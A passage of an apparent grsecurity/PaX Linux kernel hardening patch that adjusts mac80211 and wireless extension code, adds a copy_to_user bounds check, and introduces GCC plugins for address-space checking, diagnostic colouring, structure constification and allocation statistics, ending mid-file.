+@@ -607,7 +607,7 @@ static int ieee80211_do_open(struct net_
+  err_del_interface:
+ 	drv_remove_interface(local, sdata);
+  err_stop:
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		drv_stop(local);
+  err_del_bss:
+ 	sdata->bss = NULL;
+@@ -741,7 +741,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 
+ 	if (going_down)
+-		local->open_count--;
++		local_dec(&local->open_count);
+ 
+ 	switch (sdata->vif.type) {
+ 	case NL80211_IFTYPE_AP_VLAN:
+@@ -801,7 +801,7 @@ static void ieee80211_do_stop(struct iee
+ 
+ 	ieee80211_recalc_ps(local, -1);
+ 
+-	if (local->open_count == 0) {
++	if (local_read(&local->open_count) == 0) {
+ 		if (local->ops->napi_poll)
+ 			napi_disable(&local->napi);
+ 		ieee80211_clear_tx_pending(local);
+@@ -833,7 +833,7 @@ static void ieee80211_do_stop(struct iee
+ 	}
+ 	spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags);
+ 
+-	if (local->monitors == local->open_count && local->monitors > 0)
++	if (local->monitors == local_read(&local->open_count) && local->monitors > 0)
+ 		ieee80211_add_virtual_monitor(local);
+ }
+ 
+--- net/mac80211/main.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/main.c	2012-10-15 17:30:59.827924531 +0000
+@@ -170,7 +170,7 @@ int ieee80211_hw_config(struct ieee80211
+ 		local->hw.conf.power_level = power;
+ 	}
+ 
+-	if (changed && local->open_count) {
++	if (changed && local_read(&local->open_count)) {
+ 		ret = drv_config(local, changed);
+ 		/*
+ 		 * Goal:
+--- net/mac80211/pm.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/pm.c	2012-10-15 17:30:59.828924531 +0000
+@@ -34,7 +34,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	struct ieee80211_sub_if_data *sdata;
+ 	struct sta_info *sta;
+ 
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto suspend;
+ 
+ 	ieee80211_scan_cancel(local);
+@@ -72,7 +72,7 @@ int __ieee80211_suspend(struct ieee80211
+ 	cancel_work_sync(&local->dynamic_ps_enable_work);
+ 	del_timer_sync(&local->dynamic_ps_timer);
+ 
+-	local->wowlan = wowlan && local->open_count;
++	local->wowlan = wowlan && local_read(&local->open_count);
+ 	if (local->wowlan) {
+ 		int err = drv_suspend(local, wowlan);
+ 		if (err < 0) {
+@@ -143,7 +143,7 @@ int __ieee80211_suspend(struct ieee80211
+ 		drv_remove_interface(local, sdata);
+ 
+ 	/* stop hardware - this must stop RX */
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		ieee80211_stop_device(local);
+ 
+  suspend:
+--- net/mac80211/rate.c	2012-09-27 23:19:12.000000000 +0000
++++ net/mac80211/rate.c	2012-10-15 17:30:59.828924531 +0000
+@@ -494,7 +494,7 @@ int ieee80211_init_rate_ctrl_alg(struct
+ 
+ 	ASSERT_RTNL();
+ 
+-	if (local->open_count)
++	if (local_read(&local->open_count))
+ 		return -EBUSY;
+ 
+ 	if (local->hw.flags & IEEE80211_HW_HAS_RATE_CONTROL) {
+--- net/mac80211/rc80211_pid_debugfs.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/rc80211_pid_debugfs.c	2012-10-15 17:30:59.828924531 +0000
+@@ -193,7 +193,7 @@ static ssize_t rate_control_pid_events_r
+ 
+ 	spin_unlock_irqrestore(&events->lock, status);
+ 
+-	if (copy_to_user(buf, pb, p))
++	if (p > sizeof(pb) || copy_to_user(buf, pb, p))
+ 		return -EFAULT;
+ 
+ 	return p;
+--- net/mac80211/util.c	2012-09-27 23:19:11.000000000 +0000
++++ net/mac80211/util.c	2012-10-15 17:30:59.828924531 +0000
+@@ -1251,7 +1251,7 @@ int ieee80211_reconfig(struct ieee80211_
+ 	}
+ #endif
+ 	/* everything else happens only if HW was up & running */
+-	if (!local->open_count)
++	if (!local_read(&local->open_count))
+ 		goto wake_up;
+ 
+ 	/*
+--- net/wireless/core.h	2012-09-27 23:19:11.000000000 +0000
++++ net/wireless/core.h	2012-10-15 17:30:59.829924531 +0000
+@@ -28,7 +28,7 @@ struct cfg80211_registered_device {
+ 	struct mutex mtx;
+ 
+ 	/* rfkill support */
+-	struct rfkill_ops rfkill_ops;
++	rfkill_ops_no_const rfkill_ops;
+ 	struct rfkill *rfkill;
+ 	struct work_struct rfkill_sync;
+ 
+--- net/wireless/wext-core.c	2012-09-27 23:19:12.000000000 +0000
++++ net/wireless/wext-core.c	2012-10-15 17:30:59.829924531 +0000
+@@ -792,8 +792,7 @@ static int ioctl_standard_iw_point(struc
+ 		 */
+ 
+ 		/* Support for very large requests */
+-		if ((descr->flags & IW_DESCR_FLAG_NOMAX) &&
+-		    (user_length > descr->max_tokens)) {
++		if (user_length > descr->max_tokens) {
+ 			/* Allow userspace to GET more than max so
+ 			 * we can support any size GET requests.
+ 			 * There is still a limit : -ENOMEM.
+@@ -832,22 +831,6 @@ static int ioctl_standard_iw_point(struc
+ 		}
+ 	}
+ 
+-	if (IW_IS_GET(cmd) && !(descr->flags & IW_DESCR_FLAG_NOMAX)) {
+-		/*
+-		 * If this is a GET, but not NOMAX, it means that the extra
+-		 * data is not bounded by userspace, but by max_tokens. Thus
+-		 * set the length to max_tokens. This matches the extra data
+-		 * allocation.
+-		 * The driver should fill it with the number of tokens it
+-		 * provided, and it may check iwp->length rather than having
+-		 * knowledge of max_tokens. If the driver doesn't change the
+-		 * iwp->length, this ioctl just copies back max_token tokens
+-		 * filled with zeroes. Hopefully the driver isn't claiming
+-		 * them to be valid data.
+-		 */
+-		iwp->length = descr->max_tokens;
+-	}
+-
+ 	err = handler(dev, info, (union iwreq_data *) iwp, extra);
+ 
+ 	iwp->length += essid_compat;
+--- scripts/gcc-plugin.sh	1970-01-01 00:00:00.000000000 +0000
++++ scripts/gcc-plugin.sh	2012-10-15 17:30:59.829924531 +0000
+@@ -0,0 +1,17 @@
++#!/bin/bash
++plugincc=`$1 -x c -shared - -o /dev/null -I\`$3 -print-file-name=plugin\`/include 2>&1 <<EOF
++#include "gcc-plugin.h"
++#include "tree.h"
++#include "tm.h"
++#include "rtl.h"
++#ifdef ENABLE_BUILD_WITH_CXX
++#warning $2
++#else
++#warning $1
++#endif
++EOF`
++if [ $? -eq 0 ]
++then
++	[[ "$plugincc" =~ "$1" ]] && echo "$1"
++	[[ "$plugincc" =~ "$2" ]] && echo "$2"
++fi
+--- tools/gcc/checker_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/checker_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,171 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to implement various sparse (source code checker) features
++ *
++ * TODO:
++ * - define separate __iomem, __percpu and __rcu address spaces (lots of code to patch)
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++#include "target.h"
++
++extern void c_register_addr_space (const char *str, addr_space_t as);
++extern enum machine_mode default_addr_space_pointer_mode (addr_space_t);
++extern enum machine_mode default_addr_space_address_mode (addr_space_t);
++extern bool default_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as);
++extern bool default_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as);
++extern rtx default_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as);
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++extern rtx emit_move_insn(rtx x, rtx y);
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info checker_plugin_info = {
++	.version	= "201111150100",
++};
++
++#define ADDR_SPACE_KERNEL		0
++#define ADDR_SPACE_FORCE_KERNEL		1
++#define ADDR_SPACE_USER			2
++#define ADDR_SPACE_FORCE_USER		3
++#define ADDR_SPACE_IOMEM		0
++#define ADDR_SPACE_FORCE_IOMEM		0
++#define ADDR_SPACE_PERCPU		0
++#define ADDR_SPACE_FORCE_PERCPU		0
++#define ADDR_SPACE_RCU			0
++#define ADDR_SPACE_FORCE_RCU		0
++
++static enum machine_mode checker_addr_space_pointer_mode(addr_space_t addrspace)
++{
++	return default_addr_space_pointer_mode(ADDR_SPACE_GENERIC);
++}
++
++static enum machine_mode checker_addr_space_address_mode(addr_space_t addrspace)
++{
++	return default_addr_space_address_mode(ADDR_SPACE_GENERIC);
++}
++
++static bool checker_addr_space_valid_pointer_mode(enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_valid_pointer_mode(mode, as);
++}
++
++static bool checker_addr_space_legitimate_address_p(enum machine_mode mode, rtx mem, bool strict, addr_space_t as)
++{
++	return default_addr_space_legitimate_address_p(mode, mem, strict, ADDR_SPACE_GENERIC);
++}
++
++static rtx checker_addr_space_legitimize_address(rtx x, rtx oldx, enum machine_mode mode, addr_space_t as)
++{
++	return default_addr_space_legitimize_address(x, oldx, mode, as);
++}
++
++static bool checker_addr_space_subset_p(addr_space_t subset, addr_space_t superset)
++{
++	if (subset == ADDR_SPACE_FORCE_KERNEL && superset == ADDR_SPACE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_USER && superset == ADDR_SPACE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_FORCE_IOMEM && superset == ADDR_SPACE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_USER)
++		return true;
++
++	if (subset == ADDR_SPACE_KERNEL && superset == ADDR_SPACE_FORCE_IOMEM)
++		return true;
++
++	if (subset == ADDR_SPACE_USER && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	if (subset == ADDR_SPACE_IOMEM && superset == ADDR_SPACE_FORCE_KERNEL)
++		return true;
++
++	return subset == superset;
++}
++
++static rtx checker_addr_space_convert(rtx op, tree from_type, tree to_type)
++{
++//	addr_space_t from_as = TYPE_ADDR_SPACE(TREE_TYPE(from_type));
++//	addr_space_t to_as = TYPE_ADDR_SPACE(TREE_TYPE(to_type));
++
++	return op;
++}
++
++static void register_checker_address_spaces(void *event_data, void *data)
++{
++	c_register_addr_space("__kernel", ADDR_SPACE_KERNEL);
++	c_register_addr_space("__force_kernel", ADDR_SPACE_FORCE_KERNEL);
++	c_register_addr_space("__user", ADDR_SPACE_USER);
++	c_register_addr_space("__force_user", ADDR_SPACE_FORCE_USER);
++//	c_register_addr_space("__iomem", ADDR_SPACE_IOMEM);
++//	c_register_addr_space("__force_iomem", ADDR_SPACE_FORCE_IOMEM);
++//	c_register_addr_space("__percpu", ADDR_SPACE_PERCPU);
++//	c_register_addr_space("__force_percpu", ADDR_SPACE_FORCE_PERCPU);
++//	c_register_addr_space("__rcu", ADDR_SPACE_RCU);
++//	c_register_addr_space("__force_rcu", ADDR_SPACE_FORCE_RCU);
++
++	targetm.addr_space.pointer_mode		= checker_addr_space_pointer_mode;
++	targetm.addr_space.address_mode		= checker_addr_space_address_mode;
++	targetm.addr_space.valid_pointer_mode	= checker_addr_space_valid_pointer_mode;
++	targetm.addr_space.legitimate_address_p	= checker_addr_space_legitimate_address_p;
++//	targetm.addr_space.legitimize_address	= checker_addr_space_legitimize_address;
++	targetm.addr_space.subset_p		= checker_addr_space_subset_p;
++	targetm.addr_space.convert		= checker_addr_space_convert;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &checker_plugin_info);
++
++	for (i = 0; i < argc; ++i)
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++
++	if (TARGET_64BIT == 0)
++		return 0;
++
++	register_callback(plugin_name, PLUGIN_PRAGMAS, register_checker_address_spaces, NULL);
++
++	return 0;
++}
+--- tools/gcc/colorize_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/colorize_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,148 @@
++/*
++ * Copyright 2012 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to colorize diagnostic output
++ *
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info colorize_plugin_info = {
++	.version	= "201203092200",
++	.help		= NULL,
++};
++
++#define GREEN		"\033[32m\033[2m"
++#define LIGHTGREEN	"\033[32m\033[1m"
++#define YELLOW		"\033[33m\033[2m"
++#define LIGHTYELLOW	"\033[33m\033[1m"
++#define RED		"\033[31m\033[2m"
++#define LIGHTRED	"\033[31m\033[1m"
++#define BLUE		"\033[34m\033[2m"
++#define LIGHTBLUE	"\033[34m\033[1m"
++#define BRIGHT		"\033[m\033[1m"
++#define NORMAL		"\033[m"
++
++static diagnostic_starter_fn old_starter;
++static diagnostic_finalizer_fn old_finalizer;
++
++static void start_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	const char *color;
++	char *newprefix;
++
++	switch (diagnostic->kind) {
++	case DK_NOTE:
++		color = LIGHTBLUE;
++		break;
++
++	case DK_PEDWARN:
++	case DK_WARNING:
++		color = LIGHTYELLOW;
++		break;
++
++	case DK_ERROR:
++	case DK_FATAL:
++	case DK_ICE:
++	case DK_PERMERROR:
++	case DK_SORRY:
++		color = LIGHTRED;
++		break;
++
++	default:
++		color = NORMAL;
++	}
++
++	old_starter(context, diagnostic);
++	if (-1 == asprintf(&newprefix, "%s%s" NORMAL, color, context->printer->prefix))
++		return;
++	pp_destroy_prefix(context->printer);
++	pp_set_prefix(context->printer, newprefix);
++}
++
++static void finalize_colorize(diagnostic_context *context, diagnostic_info *diagnostic)
++{
++	old_finalizer(context, diagnostic);
++}
++
++static void colorize_arm(void)
++{
++	old_starter = diagnostic_starter(global_dc);
++	old_finalizer = diagnostic_finalizer(global_dc);
++
++	diagnostic_starter(global_dc) = start_colorize;
++	diagnostic_finalizer(global_dc) = finalize_colorize;
++}
++
++static unsigned int execute_colorize_rearm(void)
++{
++	if (diagnostic_starter(global_dc) == start_colorize)
++		return 0;
++
++	colorize_arm();
++	return 0;
++}
++
++struct simple_ipa_opt_pass pass_ipa_colorize_rearm = {
++	.pass = {
++		.type			= SIMPLE_IPA_PASS,
++		.name			= "colorize_rearm",
++		.gate			= NULL,
++		.execute		= execute_colorize_rearm,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static void colorize_start_unit(void *gcc_data, void *user_data)
++{
++	colorize_arm();
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	struct register_pass_info colorize_rearm_pass_info = {
++		.pass				= &pass_ipa_colorize_rearm.pass,
++		.reference_pass_name		= "*free_lang_data",
++		.ref_pass_instance_number	= 1,
++		.pos_op 			= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &colorize_plugin_info);
++	register_callback(plugin_name, PLUGIN_START_UNIT, &colorize_start_unit, NULL);
++	register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &colorize_rearm_pass_info);
++	return 0;
++}
+--- tools/gcc/constify_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/constify_plugin.c	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,331 @@
++/*
++ * Copyright 2011 by Emese Revfy <re.emese@gmail.com>
++ * Copyright 2011 by PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * This gcc plugin constifies all structures which contain only function pointers or are explicitly marked for constification.
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/const_plugin/
++ *
++ * Usage:
++ * $ gcc -I`gcc -print-file-name=plugin`/include -fPIC -shared -O2 -o constify_plugin.so constify_plugin.c
++ * $ gcc -fplugin=constify_plugin.so test.c -O2
++ */
++
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++#include "tree-flow.h"
++
++#define C_TYPE_FIELDS_READONLY(TYPE) TREE_LANG_FLAG_1(TYPE)
++
++int plugin_is_GPL_compatible;
++
++static struct plugin_info const_plugin_info = {
++	.version	= "201205300030",
++	.help		= "no-constify\tturn off constification\n",
++};
++
++static void deconstify_tree(tree node);
++
++static void deconstify_type(tree type)
++{
++	tree field;
++
++	for (field = TYPE_FIELDS(type); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++		if (!TYPE_READONLY(type))
++			continue;
++
++		deconstify_tree(field);
++	}
++	TYPE_READONLY(type) = 0;
++	C_TYPE_FIELDS_READONLY(type) = 0;
++}
++
++static void deconstify_tree(tree node)
++{
++	tree old_type, new_type, field;
++
++	old_type = TREE_TYPE(node);
++
++	gcc_assert(TYPE_READONLY(old_type) && (TYPE_QUALS(old_type) & TYPE_QUAL_CONST));
++
++	new_type = build_qualified_type(old_type, TYPE_QUALS(old_type) & ~TYPE_QUAL_CONST);
++	TYPE_FIELDS(new_type) = copy_list(TYPE_FIELDS(new_type));
++	for (field = TYPE_FIELDS(new_type); field; field = TREE_CHAIN(field))
++		DECL_FIELD_CONTEXT(field) = new_type;
++
++	deconstify_type(new_type);
++
++	TREE_READONLY(node) = 0;
++	TREE_TYPE(node) = new_type;
++}
++
++static tree handle_no_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	tree type;
++
++	*no_add_attrs = true;
++	if (TREE_CODE(*node) == FUNCTION_DECL) {
++		error("%qE attribute does not apply to functions", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == VAR_DECL) {
++		error("%qE attribute does not apply to variables", name);
++		return NULL_TREE;
++	}
++
++	if (TYPE_P(*node)) {
++		if (TREE_CODE(*node) == RECORD_TYPE || TREE_CODE(*node) == UNION_TYPE)
++			*no_add_attrs = false;
++		else
++			error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	type = TREE_TYPE(*node);
++
++	if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	if (lookup_attribute(IDENTIFIER_POINTER(name), TYPE_ATTRIBUTES(type))) {
++		error("%qE attribute is already applied to the type", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL && !TYPE_READONLY(type)) {
++		error("%qE attribute used on type that is not constified", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) == TYPE_DECL) {
++		deconstify_tree(*node);
++		return NULL_TREE;
++	}
++
++	return NULL_TREE;
++}
++
++static void constify_type(tree type)
++{
++	TYPE_READONLY(type) = 1;
++	C_TYPE_FIELDS_READONLY(type) = 1;
++}
++
++static tree handle_do_const_attribute(tree *node, tree name, tree args, int flags, bool *no_add_attrs)
++{
++	*no_add_attrs = true;
++	if (!TYPE_P(*node)) {
++		error("%qE attribute applies to types only", name);
++		return NULL_TREE;
++	}
++
++	if (TREE_CODE(*node) != RECORD_TYPE && TREE_CODE(*node) != UNION_TYPE) {
++		error("%qE attribute applies to struct and union types only", name);
++		return NULL_TREE;
++	}
++
++	*no_add_attrs = false;
++	constify_type(*node);
++	return NULL_TREE;
++}
++
++static struct attribute_spec no_const_attr = {
++	.name			= "no_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_no_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static struct attribute_spec do_const_attr = {
++	.name			= "do_const",
++	.min_length		= 0,
++	.max_length		= 0,
++	.decl_required		= false,
++	.type_required		= false,
++	.function_type_required	= false,
++	.handler		= handle_do_const_attribute,
++#if BUILDING_GCC_VERSION >= 4007
++	.affects_type_identity	= true
++#endif
++};
++
++static void register_attributes(void *event_data, void *data)
++{
++	register_attribute(&no_const_attr);
++	register_attribute(&do_const_attr);
++}
++
++static bool is_fptr(tree field)
++{
++	tree ptr = TREE_TYPE(field);
++
++	if (TREE_CODE(ptr) != POINTER_TYPE)
++		return false;
++
++	return TREE_CODE(TREE_TYPE(ptr)) == FUNCTION_TYPE;
++}
++
++static bool walk_struct(tree node)
++{
++	tree field;
++
++	if (TYPE_FIELDS(node) == NULL_TREE)
++		return false;
++
++	if (lookup_attribute("no_const", TYPE_ATTRIBUTES(node))) {
++		gcc_assert(!TYPE_READONLY(node));
++		deconstify_type(node);
++		return false;
++	}
++
++	for (field = TYPE_FIELDS(node); field; field = TREE_CHAIN(field)) {
++		tree type = TREE_TYPE(field);
++		enum tree_code code = TREE_CODE(type);
++
++		if (node == type)
++			return false;
++		if (code == RECORD_TYPE || code == UNION_TYPE) {
++			if (!(walk_struct(type)))
++				return false;
++		} else if (!is_fptr(field) && !TREE_READONLY(field))
++			return false;
++	}
++	return true;
++}
++
++static void finish_type(void *event_data, void *data)
++{
++	tree type = (tree)event_data;
++
++	if (type == NULL_TREE || type == error_mark_node)
++		return;
++
++	if (TYPE_READONLY(type))
++		return;
++
++	if (walk_struct(type))
++		constify_type(type);
++}
++
++static unsigned int check_local_variables(void);
++
++struct gimple_opt_pass pass_local_variable = {
++	{
++		.type			= GIMPLE_PASS,
++		.name			= "check_local_variables",
++		.gate			= NULL,
++		.execute		= check_local_variables,
++		.sub			= NULL,
++		.next			= NULL,
++		.static_pass_number	= 0,
++		.tv_id			= TV_NONE,
++		.properties_required	= 0,
++		.properties_provided	= 0,
++		.properties_destroyed	= 0,
++		.todo_flags_start	= 0,
++		.todo_flags_finish	= 0
++	}
++};
++
++static unsigned int check_local_variables(void)
++{
++	tree var;
++	referenced_var_iterator rvi;
++
++#if BUILDING_GCC_VERSION == 4005
++	FOR_EACH_REFERENCED_VAR(var, rvi) {
++#else
++	FOR_EACH_REFERENCED_VAR(cfun, var, rvi) {
++#endif
++		tree type = TREE_TYPE(var);
++
++		if (!DECL_P(var) || TREE_STATIC(var) || DECL_EXTERNAL(var))
++			continue;
++
++		if (TREE_CODE(type) != RECORD_TYPE && TREE_CODE(type) != UNION_TYPE)
++			continue;
++
++		if (!TYPE_READONLY(type))
++			continue;
++
++//		if (lookup_attribute("no_const", DECL_ATTRIBUTES(var)))
++//			continue;
++
++//		if (lookup_attribute("no_const", TYPE_ATTRIBUTES(type)))
++//			continue;
++
++		if (walk_struct(type)) {
++			error_at(DECL_SOURCE_LOCATION(var), "constified variable %qE cannot be local", var);
++			return 1;
++		}
++	}
++	return 0;
++}
++
++int plugin_init(struct plugin_name_args *plugin_info, struct plugin_gcc_version *version)
++{
++	const char * const plugin_name = plugin_info->base_name;
++	const int argc = plugin_info->argc;
++	const struct plugin_argument * const argv = plugin_info->argv;
++	int i;
++	bool constify = true;
++
++	struct register_pass_info local_variable_pass_info = {
++		.pass				= &pass_local_variable.pass,
++		.reference_pass_name		= "*referenced_vars",
++		.ref_pass_instance_number	= 1,
++		.pos_op				= PASS_POS_INSERT_AFTER
++	};
++
++	if (!plugin_default_version_check(version, &gcc_version)) {
++		error(G_("incompatible gcc/plugin versions"));
++		return 1;
++	}
++
++	for (i = 0; i < argc; ++i) {
++		if (!(strcmp(argv[i].key, "no-constify"))) {
++			constify = false;
++			continue;
++		}
++		error(G_("unkown option '-fplugin-arg-%s-%s'"), plugin_name, argv[i].key);
++	}
++
++	register_callback(plugin_name, PLUGIN_INFO, NULL, &const_plugin_info);
++	if (constify) {
++		register_callback(plugin_name, PLUGIN_FINISH_TYPE, finish_type, NULL);
++		register_callback(plugin_name, PLUGIN_PASS_MANAGER_SETUP, NULL, &local_variable_pass_info);
++	}
++	register_callback(plugin_name, PLUGIN_ATTRIBUTES, register_attributes, NULL);
++
++	return 0;
++}
+--- tools/gcc/generate_size_overflow_hash.sh	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/generate_size_overflow_hash.sh	2012-10-15 17:30:59.830924531 +0000
+@@ -0,0 +1,94 @@
++#!/bin/bash
++
++# This script generates the hash table (size_overflow_hash.h) for the size_overflow gcc plugin (size_overflow_plugin.c).
++
++header1="size_overflow_hash.h"
++database="size_overflow_hash.data"
++n=65536
++
++usage() {
++cat <<EOF
++usage: $0 options
++OPTIONS:
++        -h|--help               help
++	-o			header file
++	-d			database file
++	-n			hash array size
++EOF
++    return 0
++}
++
++while true
++do
++    case "$1" in
++    -h|--help)	usage && exit 0;;
++    -n)		n=$2; shift 2;;
++    -o)		header1="$2"; shift 2;;
++    -d)		database="$2"; shift 2;;
++    --)		shift 1; break ;;
++     *)		break ;;
++    esac
++done
++
++create_defines() {
++	for i in `seq 1 32`
++	do
++		echo -e "#define PARAM"$i" (1U << "$i")" >> "$header1"
++	done
++	echo >> "$header1"
++}
++
++create_structs () {
++	rm -f "$header1"
++
++	create_defines
++
++	cat "$database" | while read data
++	do
++		data_array=($data)
++		struct_hash_name="${data_array[0]}"
++		funcn="${data_array[1]}"
++		params="${data_array[2]}"
++		next="${data_array[5]}"
++
++		echo "const struct size_overflow_hash $struct_hash_name = {" >> "$header1"
++
++		echo -e "\t.next\t= $next,\n\t.name\t= \"$funcn\"," >> "$header1"
++		echo -en "\t.param\t= " >> "$header1"
++		line=
++		for param_num in ${params//-/ };
++		do
++			line="${line}PARAM"$param_num"|"
++		done
++
++		echo -e "${line%?},\n};\n" >> "$header1"
++	done
++}
++
++create_headers () {
++	echo "const struct size_overflow_hash * const size_overflow_hash[$n] = {" >> "$header1"
++}
++
++create_array_elements () {
++	index=0
++	grep -v "nohasharray" $database | sort -n -k 4 | while read data
++	do
++		data_array=($data)
++		i="${data_array[3]}"
++		hash="${data_array[4]}"
++		while [[ $index -lt $i ]]
++		do
++			echo -e "\t["$index"]\t= NULL," >> "$header1"
++			index=$(($index + 1))
++		done
++		index=$(($index + 1))
++		echo -e "\t["$i"]\t= &"$hash"," >> "$header1"
++	done
++	echo '};' >> $header1
++}
++
++create_structs
++create_headers
++create_array_elements
++
++exit 0
+--- tools/gcc/kallocstat_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/kallocstat_plugin.c	2012-10-15 17:30:59.831924531 +0000
+@@ -0,0 +1,167 @@
++/*
++ * Copyright 2011 by the PaX Team <pageexec@freemail.hu>
++ * Licensed under the GPL v2
++ *
++ * Note: the choice of the license means that the compilation process is
++ *       NOT 'eligible' as defined by gcc's library exception to the GPL v3,
++ *       but for the kernel it doesn't matter since it doesn't link against
++ *       any of the gcc libraries
++ *
++ * gcc plugin to find the distribution of k*alloc sizes
++ *
++ * TODO:
++ *
++ * BUGS:
++ * - none known
++ */
++#include "gcc-plugin.h"
++#include "config.h"
++#include "system.h"
++#include "coretypes.h"
++#include "tree.h"
++#include "tree-pass.h"
++#include "flags.h"
++#include "intl.h"
++#include "toplev.h"
++#include "plugin.h"
++//#include "expr.h" where are you...
++#include "diagnostic.h"
++#include "plugin-version.h"
++#include "tm.h"
++#include "function.h"
++#include "basic-block.h"
++#include "gimple.h"
++#include "rtl.h"
++#include "emit-rtl.h"
++
++extern void print_gimple_stmt(FILE *, gimple, int, int);
++
++int plugin_is_GPL_compatible;
++
++static const char * const kalloc_functions[] = {
++	"__kmalloc",
++	"kmalloc",
++	"kmalloc_large",
++	"kmalloc_node",
++	"kmalloc_order",
++	"kmalloc_order_trace",
++	"kmalloc_slab",
++	"kzalloc",
++	"kzalloc_node",
++};
++
++static struct plugin_info kallocstat_plugin_info = {
++	.version	= "201111150100",
++};
++
++static unsigned int execute_kallocstat(void);
++
++static struct gimple_opt_pass kallocstat_pass = {
++	.pass = {
